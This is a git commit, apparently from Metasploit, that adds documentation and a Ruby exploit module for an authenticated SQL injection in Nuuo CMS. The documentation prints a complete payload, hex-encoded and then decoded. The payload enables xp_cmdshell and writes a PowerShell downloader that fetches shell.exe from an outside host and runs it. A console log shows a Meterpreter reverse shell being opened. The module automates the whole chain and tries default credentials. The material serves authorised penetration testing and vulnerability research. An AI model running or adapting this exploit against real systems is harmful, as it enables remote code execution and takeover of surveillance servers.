Land #11292, Add exploit for Nuuo CMS SQL injection

This commit is contained in:
Jacob Robles
2019-02-21 11:05:53 -06:00
2 changed files with 228 additions and 0 deletions
@@ -0,0 +1,93 @@
## Description
Nuuo CMS Authenticated SQL injection
The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below:
```
GETOPENALARM NUCM/1.0
DeviceID: <number>
SourceServer: <server-id>
LastOne: <number>
```
The vulnerability is in the "SourceServer" parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request:
```
GETOPENALARM NUCM/1.0
DeviceID: 1
SourceServer: ';drop table bobby;--
LastOne: 3
```
Will cause the following SQL query to be executed on the server:
SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC
Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution.
As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it:
```
';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527; exec (@q);--
```
The encoded part of the exploit is the following:
```
xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe'
```
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions below 3.1](http://d1.nuuo.com/NUUO/CMS/)
The following versions were tested:
- 1.5.2 OK
- 2.1.0 OK
- 2.3.2 OK
- 2.4.0 OK
- 2.6.0 OK
- 2.9.0 OK
- 2.10.0 OK
## Scenarios
### Tested on Windows 10 Pro x64 running NCS Server 2.4.0
```
msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set srvhost 172.22.222.136
srvhost => 172.22.222.136
msf5 exploit(windows/nuuo/nuuo_cms_sqli) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] 172.22.222.200:5180 - Starting up our web service on http://172.22.222.136:8080/YxAxhLwOUeKzH ...
[*] 172.22.222.200:5180 - Using URL: http://172.22.222.136:8080/YxAxhLwOUeKzH
[*] 172.22.222.200:5180 - Enabling xp_cmdshell and asking CMS to download and execute http://172.22.222.136:8080/YxAxhLwOUeKzH
[*] 172.22.222.200:5180 - Injecting PowerShell payload
[+] 172.22.222.200:5180 - Sending the payload to CMS...
[*] 172.22.222.200:5180 - Executing shell...
[*] Sending stage (179779 bytes) to 172.22.222.200
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.200:49681) at 2019-02-19 06:15:35 -0600
[*] 172.22.222.200:5180 - Server stopped.
meterpreter > getuid
Server username: NT Service\MSSQLSERVER
meterpreter > sysinfo
Computer : DESKTOP-IPOGIJR
OS : Windows 10 (Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
## References
https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -0,0 +1,135 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Nuuo
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',
'Description' => %q{
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
This module will either use a provided session number (which can be guessed with an auxiliary
module) or attempt to login using a provided username and password - it will also try the
default credentials if nothing is provided.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2018-18982' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground
'Targets' =>
[
[ 'Nuuo Central Management Server <= v2.10.0', {} ],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Privileged' => false, # we run as NETWORK_SERVICE
'DisclosureDate' => 'Oct 11 2018',
'DefaultTarget' => 0))
register_options [
Opt::RPORT(5180),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
]
end
def inject_sql(sql, final = false)
sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
if final
nucs_send_msg_async(sql)
else
nucs_send_msg(sql)
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
unless @pl
print_error("A request came in, but the payload wasn't ready yet!")
return
end
print_good('Sending the payload to CMS...')
send_response(cli, @pl)
Rex.sleep(3)
print_status('Executing shell...')
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
register_file_for_cleanup("c:/windows/temp/#{@filename}")
end
def create_hex_cmd(cmd)
var = rand_text_alpha(2)
hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
cmd.each_byte { |b|
hex_cmd << b.to_i.to_s(16)
}
hex_cmd << "; exec (@#{var})"
end
def primer
# we need to roll our own here instead of using the MSSQL mixins
# (tried that and it doesn't work)
service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
@filename = "#{rand_text_alpha_lower(8..10)}.exe"
ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
download_pl = %{xp_cmdshell }
download_pl << %{'cd C:\\windows\\temp\\ && }
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}
print_status('Injecting PowerShell payload')
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
register_file_for_cleanup("c:/windows/temp/#{ps1}")
end
def exploit
nucs_login
unless @nucs_session
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
end
@pl = generate_payload_exe
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
datastore['SSL'] = true if ssl_restore
end
end
end